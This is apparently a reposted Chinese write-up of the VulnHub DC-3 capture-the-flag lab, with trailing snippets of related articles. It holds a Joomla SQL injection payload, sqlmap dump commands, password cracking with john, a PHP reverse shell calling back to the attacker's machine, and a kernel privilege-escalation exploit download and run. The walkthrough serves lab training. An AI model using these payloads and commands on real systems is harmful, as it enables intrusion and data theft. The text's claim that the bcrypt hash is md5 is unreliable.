DC-3靶场实战详解

VSole2023-02-15 10:42:44

qaw由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

环境安装

前面安装了老版本的DC-3几次,nmap都扫描不到机器,后来琢磨了很久也找不到问题,然后我去官网重新下载了个就没问题了。

官网地址:https://www.vulnhub.com/entry/dc-32,312/

KALI和DC-3都用NAT模式.

DC-3需要多修改一些东西,把IDE里面的改成IDE 0:0

都完成后开启KALI与DC-3




寻找Flag

信息收集

1.首先确认kali与DC-3所在网段

ip add

确认kali与DC-3所在网段为192.168.79.0/24网段

2.查找DC-3 ip 可以使用nmap 或者 arp-scan

方法一:
	arp-scan -l
方法二:
    nmap -sP 192.168.79.0/24

最终可以确认

kali :192.168.79.128

DC-3 :192.168.79.131

3.扫描DC-3开启的服务

nmap -v -A 192.168.79.131

通过扫描可以发现 DC-3开启了80端口 并且使用了Joomla! cms

4.访问网站192.168.79.131

5.扫描敏感目录看看

我这里使用的是7kbscan-WebPathBrute.1.6.2用御剑也是一样的


找到后台登录网站。

因为是常见的cms,所以我们直接扫Joomla! cms常见漏洞





漏洞扫描

1.安装onlinetool

地址 https://github.com/iceyhexman/onlinetools

我们这里kali 192.168.79.128 安教程部署就可以了

git clone https://github.com/iceyhexman/onlinetools.git
cd onlinetools
pip3 install -r requirements.txt
nohup python3 main.py &

2.安装完成后访问 http://192.168.79.128:8000/

3.使用里面cms漏洞扫描

4.测试payload的有效性

payload:
http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,Md5(1234)),0)

确认payload有效

5.既然是SQL注入漏洞 配合sqlmap 以及前面目录爆破出来的后台登录网站,来登录后台

我这里使用是sqlmap windows的版本

python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --dbs

//*表示注入位置 
//查询所有数据库

得到下面5个数据库 既然是joomla! 那我们也顺其自然的查询joomladb 数据库


得到下面5个数据库 既然是joomla! 那我们也顺其自然的查询joomladb 数据库

python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" --tables
//查joomladb 数据库下面的表

一共有8 90条 有一个# _users 看样子里面就应该有相关后台信息

接下来查询# _users表内的列名

python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" -T "# __users" --columns
//查询# _users表内的列名

都是一路y或者回车

确定列名 账号密码一般为“username,password”

获得表中的账号密码

python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" -T "# __users" -C "username,password" --dump
//读取指定字段内容

获得账号密码

+----------+--------------------------------------------------------------+

| username | password |

+----------+--------------------------------------------------------------+

| admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |

+----------+--------------------------------------------------------------+

6.密码为md5加密 可以使用kali内的john 解密

创建文件
touch admin.txt   # 创建文件
vi admin.txt      # 编辑
john admin.txt    # 破解

ps:
  因为我以前破解过使用所以显示这个
  	Using default input encoding: UTF-8
	Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
	No password hashes left to crack (see FAQ)
  这是以及破解过的意思
john --show admin.txt  # 查看admin.txt以前破解过的结果

得到密码为 :snoopy

得到密码为 :snoopy

7.登录后台





反弹shell


通过对后台的各种查询,发现Extensions->Templates里面的模板可以执行PHP脚本

随便找都可以,里面路径都有写

当系统没有禁用proc_popen的时候,我们是可以借助proc_popen轻松反弹这样的一个shell的。
$sock = fsockopen("192.168.79.128", "5555");

$descriptorspec = array(

        0 => $sock,

        1 => $sock,

        2 => $sock

);

$process = proc_open('/bin/sh', $descriptorspec, $pipes);

proc_close($process);

之后保存访问http://192.168.79.131/index.php

kali内使用nc 接受反弹的shell

nc -lvvp 5555

浏览器访问http://192.168.79.131/index.php

可以发现kali内接收到shell

python -c "import pty;pty.spawn('/bin/bash')"
//使用python 弄交互式页面

发现权限不够





提权

SUID啥的都不行,于是考虑系统漏洞提权

cat /etc/*release		# 查看发行版信息

cat /proc/version  # 查看内核版本的全部信息

可以判断为Ubuntu 16.04 LTS 内核为Linux 4.4.0-21

查看kali本地漏洞库里面的exp

searchsploit Ubuntu 16.04

对应版本的几个都试了 发现 39772.txt可以

查看exp

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

写了exp地址

本地下载即可

kali好像下载不了 我本地下载 然后拉到kali里面

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip


开启apache

systemctl start apache2.service

移动39772.zip到指定的apache的目录下

mv 39772.zip /var/www/html

浏览器访问 kali IP:192.168.79.128

复制下载链接

http://192.168.79.128/39772.zip

回到前面的DC-3的shell中下载刚刚上传的exp

wget http://192.168.79.128/39772.zip

解压exp

unzip 39772.zip			# 解压39772.zip
cd 39772				# 进入39772
tar -xvf exploit.tar	# 解压缩exploit.tar

进入 ebpf_mapfd_doubleput_exploit 运行exp

cd ebpf_mapfd_doubleput_exploit

运行方法 前面kali里面 cat /usr/share/exploitdb/exploits/linux/local/39772.txt 文件内写了

运行compile.sh , doubleput即可

./compile.sh
./doubleput

等一两分钟就可以了







FLAG

root目录下有flag,获得flag

cd /root
cat the-flag.txt

sqlmapdc-3
本作品采用《CC 协议》,转载必须注明作者和本文链接
option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27单引号尝试:存在sql注入sqlmap 走起!跑数据 格式有点问题。获取到管理员加密后的密码$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu使用john 来破解john pwd --wordlist=/usr/share/wordlist/rockyou.txt admin/snoopy 登录后台3x0:后台篇在后台查找一番发现 类似于模板的页面可以利用模板的信息在结合上面的端口信息没有ssh应该是从web端进入 webshell?就接着用了4x0:提权篇查看系统的内核版本启动kali上的apache,把exp上传到服务器把exp下载到靶机解压exp授权脚本使用exp报错不影响使用获取到root权限5x0:flag获得
DC-3靶场实战详解
2023-02-15 10:42:44
雷神众测-杭州亚运会官方指定安全众测服务平台
安服工程师技能手册详细总结
0x01 前言最近在改写 yso,觉得自己基础太差了,想先阅读一下 sqlmap、冰蝎以及一些其他工具的开发思路。0x03 冰蝎的使用与流量分析冰蝎的使用我们看冰蝎的客户端界面,对于 shell 其实是没有输入密码模块的,其实在冰蝎当中 shell 是通过传输协议配置的。这一传输协议的加密函数是用 Java 写的,并且 key 是默认的,不需要自己修改,我们点击生成服务端,则会生成三个 shell 文件,分别为?这种加密方式的攻防性),代码如下,此处代码和 v3.0 的相当不一样。
我见过的流量分析类型的题目总结: 一,ping 报文信息? 二,上传/下载文件 三,sql注入攻击 四,访问特定的加密解密网站 五,后台扫描+弱密码爆破+菜刀 六,usb流量分析 七,WiFi无线密码破解 八,根据一组流量包了解黑客的具体行为例题:一,ping 报文信息?如果是菜刀下载文件的流量,需要删除分组字节流前开头和结尾的X@Y字符,否则下载的文件会出错。
sqlmap脚本tamper使用
2022-06-25 07:07:48
所以有的时候我们会发现,注入成功了但是dump不出数据,很可能是select被过滤了等等原因。如何判断使用哪个脚本最简单的办法就是在url参数中手工带入关键词,判断是否被过滤。空格、等于号都没有过滤,成功报错。以此类推,当sqlmap注入出现问题时,比如不出数据,就要检查对应的关键词是否被过滤。
前言21年省决赛的SQLITE注入就是用的双写绕过,当时是手搓代码打的,这几天想起来了,寻思着写个tamper试试。一开始以为很简单,后来才发现有很多要注意的点,折磨了挺久。等弄完才明白为什么sqlmap没有自带双写的tamper,涉及的情况太多,需要根据具体过滤逻辑来写代码,没法做到统一。好,然后就是脚本的完整代码#!
之前有看到goby反制和松鼠A师傅蚁剑反制的文章,再想到之前写过sqlmap的shell免杀,觉得思路其实差不多,就写一篇sqlmap的反制吧。
sqlmap --os-shell原理
2021-09-24 07:04:41
前言当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。
VSole
网络安全专家